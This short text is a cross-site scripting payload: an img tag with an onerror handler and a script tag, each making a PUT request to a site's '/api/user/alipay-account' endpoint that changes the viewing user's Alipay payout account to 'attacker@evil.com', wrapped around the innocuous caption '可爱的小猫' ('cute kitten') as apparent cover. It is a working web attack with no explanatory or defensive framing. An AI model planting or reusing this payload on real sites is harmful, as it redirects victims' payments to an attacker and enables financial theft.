<img src=x onerror=fetch('/api/user/alipay-account',{method:'PUT',headers:{'Content-Type':'application/json'},body:JSON.stringify({alipayAccount:'attacker@evil.com'})})>可爱的小猫

<script>fetch('/api/user/alipay-account',{method:'PUT',headers:{'Content-Type':'application/json'},body:JSON.stringify({alipayAccount:'attacker@evil.com'})})</script>